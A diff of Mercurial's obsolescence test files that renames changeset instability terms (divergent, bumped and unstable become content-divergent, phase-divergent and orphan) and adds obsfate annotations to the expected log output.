+  > evolution.createmarkers=True
   > [extensions]
   > drawdag=$TESTDIR/drawdag.py
   > [alias]
@@ -66,7 +66,7 @@
   |
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba; rewritten as 3:392fd25390da]
   |/
   @  0:d20a80d4def3 base
   
@@ -80,7 +80,7 @@
       82623d38b9ba
   392fd25390da
       392fd25390da
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
   2:82623d38b9ba A_1
   3:392fd25390da A_2
   $ hg debugsuccessorssets 'all()' --closest
@@ -107,7 +107,7 @@
   $ hg push ../other
   pushing to ../other
   searching for changes
-  abort: push includes divergent changeset: 392fd25390da!
+  abort: push includes content-divergent changeset: 392fd25390da!
   [255]
 
   $ cd ..
@@ -127,11 +127,11 @@
   $ hg log -G --hidden
   @  4:01f36c5a8fda A_3
   |
-  | x  3:392fd25390da A_2
+  | x  3:392fd25390da A_2 [rewritten as 4:01f36c5a8fda]
   |/
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba; rewritten as 3:392fd25390da]
   |/
   o  0:d20a80d4def3 base
   
@@ -147,7 +147,7 @@
       01f36c5a8fda
   01f36c5a8fda
       01f36c5a8fda
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
   2:82623d38b9ba A_1
   4:01f36c5a8fda A_3
   $ hg debugsuccessorssets 'all()' --closest
@@ -185,7 +185,7 @@
   |
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba; rewritten as 3:392fd25390da]
   |/
   @  0:d20a80d4def3 base
   
@@ -199,7 +199,7 @@
       82623d38b9ba
   392fd25390da
       392fd25390da
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
   2:82623d38b9ba A_1
   3:392fd25390da A_2
   $ hg debugsuccessorssets 'all()' --closest
@@ -259,11 +259,11 @@
   $ hg log -G --hidden
   @  4:01f36c5a8fda A_3
   |
-  | x  3:392fd25390da A_2
+  | x  3:392fd25390da A_2 [rewritten as 4:01f36c5a8fda]
   |/
-  | x  2:82623d38b9ba A_1
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda]
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba; rewritten as 3:392fd25390da]
   |/
   o  0:d20a80d4def3 base
   
@@ -278,7 +278,7 @@
       01f36c5a8fda
   01f36c5a8fda
       01f36c5a8fda
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
   $ hg debugsuccessorssets 'all()' --closest
   d20a80d4def3
       d20a80d4def3
@@ -309,7 +309,7 @@
   |
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da]
   |/
   @  0:d20a80d4def3 base
   
@@ -322,7 +322,7 @@
       82623d38b9ba
   392fd25390da
       392fd25390da
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
   $ hg debugsuccessorssets 'all()' --closest
   d20a80d4def3
       d20a80d4def3
@@ -361,15 +361,15 @@
   $ hg log -G --hidden
   @  6:e442cfc57690 A_5
   |
-  | x  5:6a411f0d7a0a A_4
+  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690]
   |/
   | o  4:01f36c5a8fda A_3
   |/
-  | x  3:392fd25390da A_2
+  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a]
   |/
-  | x  2:82623d38b9ba A_1
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda]
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da]
   |/
   o  0:d20a80d4def3 base
   
@@ -410,7 +410,7 @@
       e442cfc57690
   e442cfc57690
       e442cfc57690
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
 
 Check more complex obsolescence graft (with divergence)
 
@@ -437,19 +437,19 @@
   |/
   | o  8:7ae126973a96 A_7
   |/
-  | x  7:3750ebee865d B_0
+  | x  7:3750ebee865d B_0 [rewritten as 3:392fd25390da]
   | |
-  | x  6:e442cfc57690 A_5
+  | x  6:e442cfc57690 A_5 [rewritten as 10:bed64f5d2f5a; split as 8:7ae126973a96, 9:14608b260df8]
   |/
-  | x  5:6a411f0d7a0a A_4
+  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690]
   |/
   | o  4:01f36c5a8fda A_3
   |/
-  | x  3:392fd25390da A_2
+  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a]
   |/
-  | x  2:82623d38b9ba A_1
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda]
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da]
   |/
   @  0:d20a80d4def3 base
   
@@ -515,7 +515,7 @@
       14608b260df8
   bed64f5d2f5a
       bed64f5d2f5a
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
   4:01f36c5a8fda A_3
   8:7ae126973a96 A_7
   9:14608b260df8 A_8
@@ -535,25 +535,25 @@
   $ hg log -G --hidden
   o  11:a139f71be9da A_A
   |
-  | x  10:bed64f5d2f5a A_9
+  | x  10:bed64f5d2f5a A_9 [rewritten as 11:a139f71be9da]
   |/
-  | x  9:14608b260df8 A_8
+  | x  9:14608b260df8 A_8 [rewritten as 11:a139f71be9da]
   |/
-  | x  8:7ae126973a96 A_7
+  | x  8:7ae126973a96 A_7 [rewritten as 11:a139f71be9da]
   |/
-  | x  7:3750ebee865d B_0
+  | x  7:3750ebee865d B_0 [rewritten as 3:392fd25390da]
   | |
-  | x  6:e442cfc57690 A_5
+  | x  6:e442cfc57690 A_5 [rewritten as 10:bed64f5d2f5a; split as 8:7ae126973a96, 9:14608b260df8]
   |/
-  | x  5:6a411f0d7a0a A_4
+  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690]
   |/
   | o  4:01f36c5a8fda A_3
   |/
-  | x  3:392fd25390da A_2
+  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a]
   |/
-  | x  2:82623d38b9ba A_1
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda]
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da]
   |/
   @  0:d20a80d4def3 base
   
@@ -614,7 +614,7 @@
       a139f71be9da
   a139f71be9da
       a139f71be9da
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
 
   $ cd ..
 
@@ -670,16 +670,16 @@
 
   $ rm .hg/localtags
   $ hg cleanup --config extensions.t=$TESTTMP/scmutilcleanup.py
-  $ hg log -G -T '{rev}:{node|short} {desc} {troubles}' -r 'sort(all(), topo)'
-  @  5:1a2a9b5b0030 B2 divergent
+  $ hg log -G -T '{rev}:{node|short} {desc} {instabilities}' -r 'sort(all(), topo)'
+  @  5:1a2a9b5b0030 B2 content-divergent
   |
-  | o  4:70d5a63ca112 B4 divergent
+  | o  4:70d5a63ca112 B4 content-divergent
   | |
   | o  1:48b9aae0607f Z
   |
   o  0:426bada5c675 A
   
   $ hg debugobsolete
-  a178212c3433c4e77b573f6011e29affb8aefa33 1a2a9b5b0030632400aa78e00388c20f99d3ec44 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  a178212c3433c4e77b573f6011e29affb8aefa33 ad6478fb94ecec98b86daae98722865d494ac561 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  ad6478fb94ecec98b86daae98722865d494ac561 70d5a63ca112acb3764bc1d7320ca90ea688d671 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  a178212c3433c4e77b573f6011e29affb8aefa33 1a2a9b5b0030632400aa78e00388c20f99d3ec44 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  a178212c3433c4e77b573f6011e29affb8aefa33 ad6478fb94ecec98b86daae98722865d494ac561 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'test', 'user': 'test'}
+  ad6478fb94ecec98b86daae98722865d494ac561 70d5a63ca112acb3764bc1d7320ca90ea688d671 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'test', 'user': 'test'}
diff --git a/tests/test-obsolete-tag-cache.t b/tests/test-obsolete-tag-cache.t
--- a/tests/test-obsolete-tag-cache.t
+++ b/tests/test-obsolete-tag-cache.t
@@ -5,7 +5,7 @@
   > mock=$TESTDIR/mockblackbox.py
   > 
   > [experimental]
-  > evolution = createmarkers
+  > evolution.createmarkers=True
   > EOF
 
 Create a repo with some tags
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -3,7 +3,7 @@
   > # public changeset are not obsolete
   > publish=false
   > [ui]
-  > logtemplate="{rev}:{node|short} ({phase}{if(obsolete, ' *{obsolete}*')}{if(troubles, ' {troubles}')}) [{tags} {bookmarks}] {desc|firstline}\n"
+  > logtemplate="{rev}:{node|short} ({phase}{if(obsolete, ' *{obsolete}*')}{if(instabilities, ' {instabilities}')}) [{tags} {bookmarks}] {desc|firstline}{if(obsfate, " [{join(obsfate, "; ")}]")}\n"
   > EOF
   $ mkcommit() {
   >    echo "$1" > "$1"
@@ -39,7 +39,8 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers,exchange
+  > evolution=exchange
+  > evolution.createmarkers=True
   > EOF
 
 Killing a single changeset without replacement
@@ -159,9 +160,9 @@
   5:5601fb93a350 (draft) [tip ] add new_3_c
   $ hg heads --hidden
   5:5601fb93a350 (draft) [tip ] add new_3_c
-  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c
-  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c
-  2:245bde4270cd (draft *obsolete*) [ ] add original_c
+  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350]
+  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9]
+  2:245bde4270cd (draft *obsolete*) [ ] add original_c [rewritten as 3:cdbce2fbb163]
 
 
 check that summary does not report them
@@ -207,7 +208,7 @@
 
   $ hg --hidden phase --public 2
   $ hg log -G
-  @  5:5601fb93a350 (draft bumped) [tip ] add new_3_c
+  @  5:5601fb93a350 (draft phase-divergent) [tip ] add new_3_c
   |
   | o  2:245bde4270cd (public) [ ] add original_c
   |/
@@ -223,8 +224,8 @@
 note that the bumped changeset (5:5601fb93a350) is not a direct successor of
 the public changeset
 
-  $ hg log --hidden -r 'bumped()'
-  5:5601fb93a350 (draft bumped) [tip ] add new_3_c
+  $ hg log --hidden -r 'phasedivergent()'
+  5:5601fb93a350 (draft phase-divergent) [tip ] add new_3_c
 
 And that we can't push bumped changeset
 
@@ -239,20 +240,20 @@
   $ hg push ../tmpa
   pushing to ../tmpa
   searching for changes
-  abort: push includes bumped changeset: 5601fb93a350!
+  abort: push includes phase-divergent changeset: 5601fb93a350!
   [255]
 
 Fixing "bumped" situation
 We need to create a clone of 5 and add a special marker with a flag
 
   $ hg summary
-  parent: 5:5601fb93a350 tip (bumped)
+  parent: 5:5601fb93a350 tip (phase-divergent)
    add new_3_c
   branch: default
   commit: (clean)
   update: 1 new changesets, 2 branch heads (merge)
   phases: 1 draft
-  bumped: 1 changesets
+  phase-divergent: 1 changesets
   $ hg up '5^'
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg revert -ar 5
@@ -261,7 +262,7 @@
   created new head
   $ hg debugobsolete -d '1338 0' --flags 1 `getid new_3_c` `getid n3w_3_c`
   obsoleted 1 changesets
-  $ hg log -r 'bumped()'
+  $ hg log -r 'phasedivergent()'
   $ hg log -G
   @  6:6f9641995072 (draft) [tip ] add n3w_3_c
   |
@@ -277,11 +278,11 @@
   $ hg log -G --hidden
   @  6:6f9641995072 (draft) [tip ] add n3w_3_c
   |
-  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c
+  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c [rewritten as 6:6f9641995072]
   |/
-  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c
+  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350]
   |/
-  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c
+  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9]
   |/
   | o  2:245bde4270cd (public) [ ] add original_c
   |/
@@ -365,6 +366,7 @@
   adding file changes
   added 4 changesets with 4 changes to 4 files (+1 heads)
   5 new obsolescence markers
+  new changesets 1f0dee641bb7:6f9641995072
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg debugobsolete
   1337133713371337133713371337133713371337 5601fb93a350734d935195fee37f4054c529ff39 0 (Thu Jan 01 00:22:19 1970 +0000) {'user': 'test'}
@@ -434,11 +436,11 @@
   $ hg -R clone-dest log -G --hidden
   @  6:6f9641995072 (draft) [tip ] add n3w_3_c
   |
-  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c
+  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c [rewritten as 6:6f9641995072]
   |/
-  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c
+  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350]
   |/
-  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c
+  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9]
   |/
   | o  2:245bde4270cd (public) [ ] add original_c
   |/
@@ -470,6 +472,7 @@
   adding file changes
   added 4 changesets with 4 changes to 4 files (+1 heads)
   5 new obsolescence markers
+  new changesets 1f0dee641bb7:6f9641995072
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg debugobsolete
   1339133913391339133913391339133913391339 ca819180edb99ed25ceafb3e9584ac287e240b00 0 (Thu Jan 01 00:22:19 1970 +0000) {'user': 'test'}
@@ -518,19 +521,19 @@
   $ hg debugobsolete | grep `getid original_d`
   94b33453f93bdb8d457ef9b770851a618bf413e1 0 {6f96419950729f3671185b847352890f074f7557} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
   $ hg log -r 'obsolete()'
-  4:94b33453f93b (draft *obsolete*) [ ] add original_d
+  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned]
   $ hg summary
-  parent: 5:cda648ca50f5 tip (unstable)
+  parent: 5:cda648ca50f5 tip (orphan)
    add original_e
   branch: default
   commit: (clean)
   update: 1 new changesets, 2 branch heads (merge)
   phases: 3 draft
-  unstable: 1 changesets
-  $ hg log -G -r '::unstable()'
-  @  5:cda648ca50f5 (draft unstable) [tip ] add original_e
+  orphan: 1 changesets
+  $ hg log -G -r '::orphan()'
+  @  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   |
-  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d
+  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned]
   |
   o  3:6f9641995072 (draft) [ ] add n3w_3_c
   |
@@ -552,7 +555,7 @@
   $ hg push ../tmpc/
   pushing to ../tmpc/
   searching for changes
-  abort: push includes unstable changeset: cda648ca50f5!
+  abort: push includes orphan changeset: cda648ca50f5!
   [255]
 
 Test that extinct changeset are properly detected
@@ -569,8 +572,8 @@
   1:7c3bad9141dc (public) [ ] add b
   2:245bde4270cd (public) [ ] add original_c
   3:6f9641995072 (draft) [ ] add n3w_3_c
-  4:94b33453f93b (draft *obsolete*) [ ] add original_d
-  5:cda648ca50f5 (draft unstable) [tip ] add original_e
+  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned]
+  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   $ hg push ../tmpf -f # -f because be push unstable too
   pushing to ../tmpf
   searching for changes
@@ -591,9 +594,9 @@
 Do not warn about new head when the new head is a successors of a remote one
 
   $ hg log -G
-  @  5:cda648ca50f5 (draft unstable) [tip ] add original_e
+  @  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   |
-  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d
+  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned]
   |
   o  3:6f9641995072 (draft) [ ] add n3w_3_c
   |
@@ -634,9 +637,9 @@
   $ hg log --hidden --graph
   @  6:3de5eca88c00 (draft) [tip ] add obsolete_e
   |
-  | x  5:cda648ca50f5 (draft *obsolete*) [ ] add original_e
+  | x  5:cda648ca50f5 (draft *obsolete*) [ ] add original_e [rewritten as 6:3de5eca88c00 by test <test@example.net>]
   | |
-  | x  4:94b33453f93b (draft *obsolete*) [ ] add original_d
+  | x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned]
   |/
   o  3:6f9641995072 (draft) [ ] add n3w_3_c
   |
@@ -699,42 +702,42 @@
     "date": [1339.0, 0],
     "flag": 0,
     "metadata": {"user": "test"},
-    "precnode": "1339133913391339133913391339133913391339",
+    "prednode": "1339133913391339133913391339133913391339",
     "succnodes": ["ca819180edb99ed25ceafb3e9584ac287e240b00"]
    },
    {
     "date": [1339.0, 0],
     "flag": 0,
     "metadata": {"user": "test"},
-    "precnode": "1337133713371337133713371337133713371337",
+    "prednode": "1337133713371337133713371337133713371337",
     "succnodes": ["5601fb93a350734d935195fee37f4054c529ff39"]
    },
    {
     "date": [121.0, 120],
     "flag": 12,
     "metadata": {"user": "test"},
-    "precnode": "245bde4270cd1072a27757984f9cda8ba26f08ca",
+    "prednode": "245bde4270cd1072a27757984f9cda8ba26f08ca",
     "succnodes": ["cdbce2fbb16313928851e97e0d85413f3f7eb77f"]
    },
    {
     "date": [1338.0, 0],
     "flag": 1,
     "metadata": {"user": "test"},
-    "precnode": "5601fb93a350734d935195fee37f4054c529ff39",
+    "prednode": "5601fb93a350734d935195fee37f4054c529ff39",
     "succnodes": ["6f96419950729f3671185b847352890f074f7557"]
    },
    {
     "date": [1338.0, 0],
     "flag": 0,
     "metadata": {"user": "test"},
-    "precnode": "ca819180edb99ed25ceafb3e9584ac287e240b00",
+    "prednode": "ca819180edb99ed25ceafb3e9584ac287e240b00",
     "succnodes": ["1337133713371337133713371337133713371337"]
    },
    {
     "date": [1337.0, 0],
     "flag": 0,
     "metadata": {"user": "test"},
-    "precnode": "cdbce2fbb16313928851e97e0d85413f3f7eb77f",
+    "prednode": "cdbce2fbb16313928851e97e0d85413f3f7eb77f",
     "succnodes": ["ca819180edb99ed25ceafb3e9584ac287e240b00"]
    },
    {
@@ -742,14 +745,14 @@
     "flag": 0,
     "metadata": {"user": "test"},
     "parentnodes": ["6f96419950729f3671185b847352890f074f7557"],
-    "precnode": "94b33453f93bdb8d457ef9b770851a618bf413e1",
+    "prednode": "94b33453f93bdb8d457ef9b770851a618bf413e1",
     "succnodes": []
    },
    {
     "date": *, (glob)
     "flag": 0,
     "metadata": {"user": "test <test@example.net>"},
-    "precnode": "cda648ca50f50482b7055c0b0c4c117bba6733d9",
+    "prednode": "cda648ca50f50482b7055c0b0c4c117bba6733d9",
     "succnodes": ["3de5eca88c00aa039da7399a220f4a5221faa585"]
    }
   ]
@@ -760,8 +763,12 @@
   3de5eca88c00 ????-??-?? (glob)
   $ hg debugobsolete -r6 -T '{join(metadata % "{key}={value}", " ")}\n'
   user=test <test@example.net>
-  $ hg debugobsolete -r6 -T '{metadata}\n'
+  $ hg debugobsolete -r6 -T '{metadata}\n{metadata}\n'
+  'user': 'test <test@example.net>'
   'user': 'test <test@example.net>'
+  $ hg debugobsolete -r6 -T '{succnodes}\n{succnodes}\n'
+  3de5eca88c00aa039da7399a220f4a5221faa585
+  3de5eca88c00aa039da7399a220f4a5221faa585
   $ hg debugobsolete -r6 -T '{flag} {get(metadata, "user")}\n'
   0 test <test@example.net>
 
@@ -782,6 +789,7 @@
   adding manifests
   adding file changes
   added 62 changesets with 63 changes to 9 files (+60 heads)
+  new changesets 50c51b361e60:c15e9edfca13
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ for node in `hg log -r 'desc(babar_)' --template '{node}\n'`;
   > do
@@ -894,13 +902,13 @@
   $ echo '[experimental]' >> $HGRCPATH
   $ echo "evolution=" >> $HGRCPATH
   $ hg log -r tip
-  obsolete feature not enabled but 68 markers found!
   68:c15e9edfca13 (draft) [tip ] add celestine
 
 reenable for later test
 
   $ echo '[experimental]' >> $HGRCPATH
-  $ echo "evolution=createmarkers,exchange" >> $HGRCPATH
+  $ echo "evolution.exchange=True" >> $HGRCPATH
+  $ echo "evolution.createmarkers=True" >> $HGRCPATH
 
   $ rm hg.pid access.log errors.log
 #endif
@@ -910,31 +918,31 @@
   $ hg debugobsolete `getid obsolete_e`
   obsoleted 1 changesets
   $ hg debugobsolete `getid original_c` `getid babar`
-  $ hg log --config ui.logtemplate= -r 'bumped() and unstable()'
+  $ hg log --config ui.logtemplate= -r 'phasedivergent() and orphan()'
   changeset:   7:50c51b361e60
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
-  trouble:     unstable, bumped
+  instability: orphan, phase-divergent
   summary:     add babar
   
 
 test the "obsolete" templatekw
 
   $ hg log -r 'obsolete()'
-  6:3de5eca88c00 (draft *obsolete*) [ ] add obsolete_e
+  6:3de5eca88c00 (draft *obsolete*) [ ] add obsolete_e [pruned]
 
 test the "troubles" templatekw
 
-  $ hg log -r 'bumped() and unstable()'
-  7:50c51b361e60 (draft unstable bumped) [ ] add babar
+  $ hg log -r 'phasedivergent() and orphan()'
+  7:50c51b361e60 (draft orphan phase-divergent) [ ] add babar
 
 test the default cmdline template
 
-  $ hg log -T default -r 'bumped()'
+  $ hg log -T default -r 'phasedivergent()'
   changeset:   7:50c51b361e60
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
-  trouble:     unstable, bumped
+  instability: orphan, phase-divergent
   summary:     add babar
   
   $ hg log -T default -r 'obsolete()'
@@ -942,22 +950,59 @@
   parent:      3:6f9641995072
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
+  obsolete:    pruned
   summary:     add obsolete_e
   
 
+test the obsolete labels
+
+  $ hg log --config ui.logtemplate= --color=debug -r 'phasedivergent()'
+  [log.changeset changeset.draft changeset.unstable instability.orphan instability.phase-divergent|changeset:   7:50c51b361e60]
+  [log.user|user:        test]
+  [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
+  [log.instability|instability: orphan, phase-divergent]
+  [log.summary|summary:     add babar]
+  
+
+  $ hg log -T default -r 'phasedivergent()' --color=debug
+  [log.changeset changeset.draft changeset.unstable instability.orphan instability.phase-divergent|changeset:   7:50c51b361e60]
+  [log.user|user:        test]
+  [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
+  [log.instability|instability: orphan, phase-divergent]
+  [log.summary|summary:     add babar]
+  
+
+  $ hg log --config ui.logtemplate= --color=debug -r "obsolete()"
+  [log.changeset changeset.draft changeset.obsolete|changeset:   6:3de5eca88c00]
+  [log.parent changeset.draft|parent:      3:6f9641995072]
+  [log.user|user:        test]
+  [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
+  [log.obsfate|obsolete:    pruned]
+  [log.summary|summary:     add obsolete_e]
+  
+
+  $ hg log -T default -r 'obsolete()' --color=debug
+  [log.changeset changeset.draft changeset.obsolete|changeset:   6:3de5eca88c00]
+  [log.parent changeset.draft|parent:      3:6f9641995072]
+  [log.user|user:        test]
+  [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
+  [log.obsfate|obsolete:    pruned]
+  [log.summary|summary:     add obsolete_e]
+  
+
 test summary output
 
-  $ hg up -r 'bumped() and unstable()'
+  $ hg up -r 'phasedivergent() and orphan()'
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg summary
-  parent: 7:50c51b361e60  (unstable, bumped)
+  parent: 7:50c51b361e60  (orphan, phase-divergent)
    add babar
   branch: default
   commit: (clean)
   update: 2 new changesets (update)
   phases: 4 draft
-  unstable: 2 changesets
-  bumped: 1 changesets
+  orphan: 2 changesets
+  phase-divergent: 1 changesets
   $ hg up -r 'obsolete()'
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg summary
@@ -967,8 +1012,8 @@
   commit: (clean)
   update: 3 new changesets (update)
   phases: 4 draft
-  unstable: 2 changesets
-  bumped: 1 changesets
+  orphan: 2 changesets
+  phase-divergent: 1 changesets
 
 Test incoming/outcoming with changesets obsoleted remotely, known locally
 ===============================================================================
@@ -995,18 +1040,18 @@
   o  0:d20a80d4def3 (draft) [ ] base
   
   $ hg log -G -R ../repo-issue3805
-  @  3:323a9c3ddd91 (draft) [tip ] A
+  @  2:323a9c3ddd91 (draft) [tip ] A
   |
   o  0:d20a80d4def3 (draft) [ ] base
   
   $ hg incoming
   comparing with $TESTTMP/tmpe/repo-issue3805 (glob)
   searching for changes
-  3:323a9c3ddd91 (draft) [tip ] A
+  2:323a9c3ddd91 (draft) [tip ] A
   $ hg incoming --bundle ../issue3805.hg
   comparing with $TESTTMP/tmpe/repo-issue3805 (glob)
   searching for changes
-  3:323a9c3ddd91 (draft) [tip ] A
+  2:323a9c3ddd91 (draft) [tip ] A
   $ hg outgoing
   comparing with $TESTTMP/tmpe/repo-issue3805 (glob)
   searching for changes
@@ -1044,7 +1089,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
-  2 new obsolescence markers
+  1 new obsolescence markers
   $ hg out ../repo-issue3814
   comparing with ../repo-issue3814
   searching for changes
@@ -1055,9 +1100,9 @@
 
   $ hg tag -l visible -r 1 --hidden
   $ hg log -G
-  @  3:323a9c3ddd91 (draft) [tip ] A
+  @  2:323a9c3ddd91 (draft) [tip ] A
   |
-  | x  1:29f0c6921ddd (draft *obsolete*) [visible ] A
+  | x  1:29f0c6921ddd (draft *obsolete*) [visible ] A [rewritten using amend as 2:323a9c3ddd91]
   |/
   o  0:d20a80d4def3 (draft) [ ] base
   
@@ -1065,8 +1110,8 @@
 
   $ hg tag -l -r tip tiptag
   $ hg tags
-  tiptag                             3:323a9c3ddd91
-  tip                                3:323a9c3ddd91
+  tiptag                             2:323a9c3ddd91
+  tip                                2:323a9c3ddd91
   visible                            1:29f0c6921ddd
   $ hg --config extensions.strip= strip -r tip --no-backup
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
@@ -1102,17 +1147,16 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 4b34ecfb0d56:44526ebb0f98
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd ../other-bundleoverlay
   $ echo "B+" >> foo
   $ hg ci --amend -m "B+"
   $ hg log -G --hidden
-  @  3:b7d587542d40 (draft) [tip ] B+
+  @  2:b7d587542d40 (draft) [tip ] B+
   |
-  | x  2:eb95e9297e18 (draft *obsolete*) [ ] temporary amend commit for 44526ebb0f98
-  | |
-  | x  1:44526ebb0f98 (draft *obsolete*) [ ] B
+  | x  1:44526ebb0f98 (draft *obsolete*) [ ] B [rewritten using amend as 2:b7d587542d40]
   |/
   o  0:4b34ecfb0d56 (draft) [ ] A
   
@@ -1123,9 +1167,9 @@
   1:44526ebb0f98 (draft) [ ] B
   2:c186d7714947 (draft) [tip ] C
   $ hg log -G -R ../bundleoverlay.hg
-  o  4:c186d7714947 (draft) [tip ] C
+  o  3:c186d7714947 (draft) [tip ] C
   |
-  | @  3:b7d587542d40 (draft) [ ] B+
+  | @  2:b7d587542d40 (draft) [ ] B+
   |/
   o  0:4b34ecfb0d56 (draft) [ ] A
   
@@ -1173,18 +1217,17 @@
 Test heads computation on pending index changes with obsolescence markers
   $ cd ..
   $ cat >$TESTTMP/test_extension.py  << EOF
+  > from __future__ import absolute_import
+  > from mercurial.i18n import _
   > from mercurial import cmdutil, registrar
-  > from mercurial.i18n import _
   > 
   > cmdtable = {}
   > command = registrar.command(cmdtable)
   > @command(b"amendtransient",[], _('hg amendtransient [rev]'))
   > def amend(ui, repo, *pats, **opts):
-  >   def commitfunc(ui, repo, message, match, opts):
-  >     return repo.commit(message, repo['.'].user(), repo['.'].date(), match)
   >   opts['message'] = 'Test'
   >   opts['logfile'] = None
-  >   cmdutil.amend(ui, repo, commitfunc, repo['.'], {}, pats, opts)
+  >   cmdutil.amend(ui, repo, repo['.'], {}, pats, opts)
   >   ui.write('%s\n' % repo.changelog.headrevs())
   > EOF
   $ cat >> $HGRCPATH << EOF
@@ -1199,15 +1242,21 @@
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ echo aa > a
   $ hg amendtransient
-  [1, 3]
+  [1, 2]
 
 Test cache consistency for the visible filter
 1) We want to make sure that the cached filtered revs are invalidated when
 bookmarks change
   $ cd ..
   $ cat >$TESTTMP/test_extension.py  << EOF
+  > from __future__ import absolute_import, print_function
   > import weakref
-  > from mercurial import cmdutil, extensions, bookmarks, repoview
+  > from mercurial import (
+  >   bookmarks,
+  >   cmdutil,
+  >   extensions,
+  >   repoview,
+  > )
   > def _bookmarkchanged(orig, bkmstoreinst, *args, **kwargs):
   >  reporef = weakref.ref(bkmstoreinst._repo)
   >  def trhook(tr):
@@ -1215,7 +1264,7 @@
